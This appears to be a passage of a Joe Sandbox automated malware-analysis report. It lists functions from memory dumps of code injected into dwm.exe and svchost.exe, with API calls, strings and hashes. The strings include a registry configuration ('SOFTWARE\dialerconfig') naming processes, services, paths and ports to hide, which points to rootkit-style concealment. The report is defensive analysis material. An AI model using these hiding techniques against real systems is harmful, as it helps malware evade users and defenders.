Instruction Fuzzy Hash: DD61AA37602B848AEB20DF69D48439D77B0F348B98F248216EF8D5BB98DB78C485C711

Function 000002BAAEDDAD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002BAAEDDADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002BAAEDDAE88

Strings

csm, xrefs: 000002BAAEDDAEDA
csm, xrefs: 000002BAAEDDADC2

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 0f6892e6efd5d8c85db325a940dea0e39fd7beba25ab0cf3e381c8a0fd27f0b0
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 39518C722062808AEB748F2695C835D77B4F394B85F289217EADD8BBD5DB38D490C712

Function 000002BAAEDAA178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002BAAEDAA1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002BAAEDAA288

Strings

csm, xrefs: 000002BAAEDAA2DA
csm, xrefs: 000002BAAEDAA1C2

Memory Dump Source

Source File: 00000021.00000002.3146137933.000002BAAEDA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDA0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaeda0000_dwm.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 7115465f893ad9538f91c80ecd4362db5de93305e29ba78ccb391585fe135c5e
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: CA518C32100380CAEB748FA5954835C77B1F355B94F289216DADE8BBD5CB39D6B1CB12

Function 000002BAAEDA8405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002BAAEDA8413
_IsNonwritableInCurrentImage.LIBCMT ref: 000002BAAEDA84A8

Strings

f, xrefs: 000002BAAEDA8426
csm, xrefs: 000002BAAEDA848E

Memory Dump Source

Source File: 00000021.00000002.3146137933.000002BAAEDA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDA0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaeda0000_dwm.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: ca5a7434315f0adfa0147800b6b2c82765ba5a1246e9b03322f2a6b9548c4be2
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 4A51CE3AB016008AEB54EF15E44CB1937B6F354B98F708524DE9E63788EB74CE61C726

Function 000002BAAEDA83E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002BAAEDA8413
_IsNonwritableInCurrentImage.LIBCMT ref: 000002BAAEDA84A8

Strings

f, xrefs: 000002BAAEDA8426
csm, xrefs: 000002BAAEDA848E

Memory Dump Source

Source File: 00000021.00000002.3146137933.000002BAAEDA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDA0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaeda0000_dwm.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 600f0b0a36d475cb90ff45834e4e011382e8688b953d0501ae32f59bf4019a20
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 1C31AE3A2017409AEB64EF11E84CB1977B5F340B98F258418EEDF57788DB38CA61C726

Function 000002BAAEDE2058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000002BAAEDE20D7
WriteFile.KERNEL32 ref: 000002BAAEDE239F
WriteFile.KERNEL32 ref: 000002BAAEDE23E5
GetLastError.KERNEL32 ref: 000002BAAEDE249B

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: 1aa78f99bc2310a0a83fa0d2f3de95a7b64c2da5291062479281594362375f90
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: CFD1DE72B14B80C9E711CFA9D4483AC3BB1F354BA8F248216DE9E97B99EB34C506C751

Function 000002BAAEDD14A4 Relevance: 6.3, APIs: 5, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002BAAEDD14C5
HeapFree.KERNEL32 ref: 000002BAAEDD14D4
GetProcessHeap.KERNEL32 ref: 000002BAAEDD14E1
HeapFree.KERNEL32 ref: 000002BAAEDD14F0
GetProcessHeap.KERNEL32 ref: 000002BAAEDD1500

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: ccd79a5c24cc2b6b77d5d0d776de3086a7ca9ca8278a44c8c605b81f59301eca
Instruction ID: 01c7a9a42e13f3291119e240f2c50e6cd09ae718a3456e9f49d1860386016da5
Opcode Fuzzy Hash: ccd79a5c24cc2b6b77d5d0d776de3086a7ca9ca8278a44c8c605b81f59301eca
Instruction Fuzzy Hash: BC118B76900B90CAE716DF62A80C14D77B0F788F81F284029EBAD43756DF38C050C751

Function 000002BAAEDE2980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 000002BAAEDE2A9C
GetLastError.KERNEL32 ref: 000002BAAEDE2B27

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: 109aa6919e7509f37c65e3f562eb66fa70200a99451ab75da92349135202dbb1
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: 1791C072B0065489FB61DF6DD88C3AD3BB4B754B88F344109DE8E67A98DB35C482C722

Function 000002BAAEDD7960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000002BAAEDD798C
GetCurrentThreadId.KERNEL32 ref: 000002BAAEDD799A
GetCurrentProcessId.KERNEL32 ref: 000002BAAEDD79A6
QueryPerformanceCounter.KERNEL32 ref: 000002BAAEDD79B6

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: e83c5aced2cbab5d9ab4939864cf3350499a01659c3d808eeb217a12219ad933
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: EE113C32710F018AEB00CF70E8583A833B4F759768F540E25EAAD867A9DF78C198C391

Function 000002BAAEDD253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002BAAEDD2620
StrCpyW.SHLWAPI ref: 000002BAAEDD2639

Strings

\\.\pipe\, xrefs: 000002BAAEDD262B

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: b26adf5c67fa809c3aca0384530728fff6b57fd724efcae949ea225f2cde23db
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 8171D03620178196E7B4DE29D8883EA77B4F389B94F640027DD8E93B89DF35C645C711

Function 000002BAAEDA9E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000002BAAEDA9EB7

Strings

MOC, xrefs: 000002BAAEDA9E7C
RCC, xrefs: 000002BAAEDA9E85

Memory Dump Source

Source File: 00000021.00000002.3146137933.000002BAAEDA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDA0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaeda0000_dwm.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 6066f6a667c02a3dde5cc671d6705a9dc30413e10d50204c4eb7aca01b800b18
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 53617B37A01B848AEB20DF65E48439D77B0F748B88F248215EF8D17B99DB38D6A5C711

Function 000002BAAEDD2330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002BAAEDD2416
StrCpyW.SHLWAPI ref: 000002BAAEDD242D

Strings

\\.\pipe\, xrefs: 000002BAAEDD2421

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: d7996ef35c2d04439c778f8bf06487df3118bf92f04415785cc54e85f131a7b9
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: 7551033220638185E6B6CF2DA4DC3AAB771F395780F640126DEDD83B99DB39C505C762

Function 000002BAAEDE26F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000002BAAEDE2807
GetLastError.KERNEL32 ref: 000002BAAEDE2829

Strings

U, xrefs: 000002BAAEDE27B3

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: b42b4940226e761b1c3358f88f3e66ff5b9a9a933ed92d7f965f00163170ea2d
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: 3B41A432715B8086DB20DF69E84C3AA77B0F798794F644025EE8D87798EB3CC541C751

Function 000002BAAEDD94A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000002BAAEDD94F0
RaiseException.KERNEL32 ref: 000002BAAEDD9531

Strings

csm, xrefs: 000002BAAEDD951E

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: ce0030da33fe075a5b6671e7f0eef1687074b834886efaf8f6c2faa47b7610ec
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 88112832215B8082EB618B15F548359B7E5FB88B94F684221EECD47B69EF7DC551CB00

Function 000002BAAEDA7356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000002BAAEDA737C

Strings

ierarchy Descriptor', xrefs: 000002BAAEDA7381
riptor at (, xrefs: 000002BAAEDA7364

Memory Dump Source

Source File: 00000021.00000002.3146137933.000002BAAEDA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDA0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaeda0000_dwm.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: aecd9389ed42b80ddfab9e11b308651d5f6fd54687e5ebd5b4ac960ee60fca0a
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: DFE0CD61640B44D0EF019F21E8442D833B1DB58B64F58D122DD9C07311FB38D2F9C311

Function 000002BAAEDA73B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000002BAAEDA73D8

Strings

riptor at (, xrefs: 000002BAAEDA73C0
Locator', xrefs: 000002BAAEDA73DD

Memory Dump Source

Source File: 00000021.00000002.3146137933.000002BAAEDA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDA0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaeda0000_dwm.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: f237e3cdf2cc05938838b27189fb35462db56802b89672789935330c5c78283d
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 80E0C261A00B48C0EF029F21E8842A873B1EB68B64F98D122CE8C07311FB38D2F9C311

Function 000002BAAEDD1BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002BAAEDD1C2D
HeapAlloc.KERNEL32 ref: 000002BAAEDD1C3B
GetProcessHeap.KERNEL32 ref: 000002BAAEDD1C77
HeapFree.KERNEL32 ref: 000002BAAEDD1C85

Part of subcall function 000002BAAEDD152C: StrCmpIW.SHLWAPI ref: 000002BAAEDD155D

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 413b1a3a62937081446881fd334529eacc4931115a588d99c59851e8bc3622c4
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: 2D11A025702B5485EA05DF6AA84C329B3B1FB89FC0F684129DE8D87766DF79C442C311

Function 000002BAAEDD1268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002BAAEDD126E
HeapAlloc.KERNEL32 ref: 000002BAAEDD127D
GetProcessHeap.KERNEL32 ref: 000002BAAEDD1297
HeapAlloc.KERNEL32 ref: 000002BAAEDD12A8

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: ff9df24e8a96a01587be06c6e6e9cd5e66b19ba8cfc68b12000c6566ed7bed90
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 66E06D3560160486EB058F62D80C34E37F1FB89F16F94C028CA9D07391DF7D8499C761

Analysis Process: svchost.exePID: 364, Parent PID: 7824COMMON

Execution Graph

Execution Coverage:	0.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	73
Total number of Limit Nodes:	2

Executed Functions

Function 0000026A879C1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000026A879C1633
HeapAlloc.KERNEL32 ref: 0000026A879C1642

Part of subcall function 0000026A879C1268: GetProcessHeap.KERNEL32 ref: 0000026A879C126E
Part of subcall function 0000026A879C1268: HeapAlloc.KERNEL32 ref: 0000026A879C127D
Part of subcall function 0000026A879C1268: GetProcessHeap.KERNEL32 ref: 0000026A879C1297
Part of subcall function 0000026A879C1268: HeapAlloc.KERNEL32 ref: 0000026A879C12A8

RegOpenKeyExW.ADVAPI32 ref: 0000026A879C16B2
RegOpenKeyExW.ADVAPI32 ref: 0000026A879C16DF
RegCloseKey.ADVAPI32 ref: 0000026A879C16F9
RegOpenKeyExW.ADVAPI32 ref: 0000026A879C1719
RegCloseKey.ADVAPI32 ref: 0000026A879C1734
RegOpenKeyExW.ADVAPI32 ref: 0000026A879C1754
RegCloseKey.ADVAPI32 ref: 0000026A879C176F
RegOpenKeyExW.ADVAPI32 ref: 0000026A879C178F
RegCloseKey.ADVAPI32 ref: 0000026A879C17AA
RegOpenKeyExW.ADVAPI32 ref: 0000026A879C17CA
RegCloseKey.ADVAPI32 ref: 0000026A879C17E5
RegOpenKeyExW.ADVAPI32 ref: 0000026A879C1805
RegCloseKey.ADVAPI32 ref: 0000026A879C1820
RegOpenKeyExW.ADVAPI32 ref: 0000026A879C1840
RegCloseKey.ADVAPI32 ref: 0000026A879C185B
RegOpenKeyExW.ADVAPI32 ref: 0000026A879C187B
RegCloseKey.ADVAPI32 ref: 0000026A879C1896
RegCloseKey.ADVAPI32 ref: 0000026A879C18A0

Part of subcall function 0000026A879C12BC: RegQueryInfoKeyW.ADVAPI32 ref: 0000026A879C1319
Part of subcall function 0000026A879C12BC: GetProcessHeap.KERNEL32 ref: 0000026A879C1327
Part of subcall function 0000026A879C12BC: HeapAlloc.KERNEL32 ref: 0000026A879C1338
Part of subcall function 0000026A879C12BC: RegEnumValueW.ADVAPI32 ref: 0000026A879C1397
Part of subcall function 0000026A879C12BC: GetProcessHeap.KERNEL32 ref: 0000026A879C13DF
Part of subcall function 0000026A879C12BC: HeapAlloc.KERNEL32 ref: 0000026A879C13ED
Part of subcall function 0000026A879C12BC: GetProcessHeap.KERNEL32 ref: 0000026A879C140A
Part of subcall function 0000026A879C12BC: HeapFree.KERNEL32 ref: 0000026A879C1418
Part of subcall function 0000026A879C12BC: lstrlenW.KERNEL32 ref: 0000026A879C1421
Part of subcall function 0000026A879C12BC: GetProcessHeap.KERNEL32 ref: 0000026A879C142F
Part of subcall function 0000026A879C12BC: HeapAlloc.KERNEL32 ref: 0000026A879C143D

Strings

udp, xrefs: 0000026A879C1874
SOFTWARE\dialerconfig, xrefs: 0000026A879C1692
service_names, xrefs: 0000026A879C17C3
process_names, xrefs: 0000026A879C174D
tcp_local, xrefs: 0000026A879C17FE
tcp_remote, xrefs: 0000026A879C1839
paths, xrefs: 0000026A879C1788
startup, xrefs: 0000026A879C16D5
pid, xrefs: 0000026A879C1712

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 8b3f40dc757b03efebebe1ec2b21d8ee4b81ef9a05be350be4598fcd48a0c6e5
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: 99715D76310E1086EF90DF66E89869D3BB4FB85B88F405111EE4E67B68EF3AC444CB45

Function 0000026A879C328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 0000026A879C32AE
PathFindFileNameW.SHLWAPI ref: 0000026A879C32BD

Part of subcall function 0000026A879C3844: StrCmpNIW.SHLWAPI ref: 0000026A879C385C

Part of subcall function 0000026A879C3790: GetModuleHandleW.KERNEL32 ref: 0000026A879C379E
Part of subcall function 0000026A879C3790: GetCurrentProcess.KERNEL32 ref: 0000026A879C37CC
Part of subcall function 0000026A879C3790: VirtualProtectEx.KERNEL32 ref: 0000026A879C37EE
Part of subcall function 0000026A879C3790: GetCurrentProcess.KERNEL32 ref: 0000026A879C3809
Part of subcall function 0000026A879C3790: VirtualProtectEx.KERNEL32 ref: 0000026A879C382A

CreateThread.KERNEL32 ref: 0000026A879C330B

Part of subcall function 0000026A879C1D14: GetCurrentThread.KERNEL32 ref: 0000026A879C1D1F

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: bbd561d3a30add4c1150a9458a01d63078364739115671f5aea34e55c8598808
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: 0211807261064182FFE0AB22F90D35D36A4A7D4385FD04124EA0EA3696EFBBC0849F13

Function 0000026A879C1ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000026A879C1628: GetProcessHeap.KERNEL32 ref: 0000026A879C1633
Part of subcall function 0000026A879C1628: HeapAlloc.KERNEL32 ref: 0000026A879C1642
Part of subcall function 0000026A879C1628: RegOpenKeyExW.ADVAPI32 ref: 0000026A879C16B2
Part of subcall function 0000026A879C1628: RegOpenKeyExW.ADVAPI32 ref: 0000026A879C16DF
Part of subcall function 0000026A879C1628: RegCloseKey.ADVAPI32 ref: 0000026A879C16F9
Part of subcall function 0000026A879C1628: RegOpenKeyExW.ADVAPI32 ref: 0000026A879C1719
Part of subcall function 0000026A879C1628: RegCloseKey.ADVAPI32 ref: 0000026A879C1734
Part of subcall function 0000026A879C1628: RegOpenKeyExW.ADVAPI32 ref: 0000026A879C1754
Part of subcall function 0000026A879C1628: RegCloseKey.ADVAPI32 ref: 0000026A879C176F
Part of subcall function 0000026A879C1628: RegOpenKeyExW.ADVAPI32 ref: 0000026A879C178F
Part of subcall function 0000026A879C1628: RegCloseKey.ADVAPI32 ref: 0000026A879C17AA
Part of subcall function 0000026A879C1628: RegOpenKeyExW.ADVAPI32 ref: 0000026A879C17CA

Sleep.KERNEL32 ref: 0000026A879C1AD7
SleepEx.KERNELBASE ref: 0000026A879C1ADD

Part of subcall function 0000026A879C1628: RegCloseKey.ADVAPI32 ref: 0000026A879C17E5
Part of subcall function 0000026A879C1628: RegOpenKeyExW.ADVAPI32 ref: 0000026A879C1805
Part of subcall function 0000026A879C1628: RegCloseKey.ADVAPI32 ref: 0000026A879C1820
Part of subcall function 0000026A879C1628: RegOpenKeyExW.ADVAPI32 ref: 0000026A879C1840
Part of subcall function 0000026A879C1628: RegCloseKey.ADVAPI32 ref: 0000026A879C185B
Part of subcall function 0000026A879C1628: RegOpenKeyExW.ADVAPI32 ref: 0000026A879C187B
Part of subcall function 0000026A879C1628: RegCloseKey.ADVAPI32 ref: 0000026A879C1896
Part of subcall function 0000026A879C1628: RegCloseKey.ADVAPI32 ref: 0000026A879C18A0

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: 5eed58e8f7c032d1df488f6ec5371d2936970acb8e97615792f8d803c15a43b0
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: 2931E5F5240A4581FFD0AB26DA493BD73A4ABC4BD0F0454219E09A77DAFF26C491CE1A

Function 0000026A8799273C Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0000026A8799285E

Memory Dump Source

Source File: 00000022.00000002.3074727733.0000026A87990000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A87990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a87990000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 57387411ffdeb412b963753acb60f61000c0759ef6c355c86f1a01fa76b5fc3d
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: B5613532B016908BFB94CF15D10872DF3A6FB54BA4F588121DF59277C8DA39D892CB01

Non-executed Functions

Function 0000026A879C2B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 0000026A879C2BD0
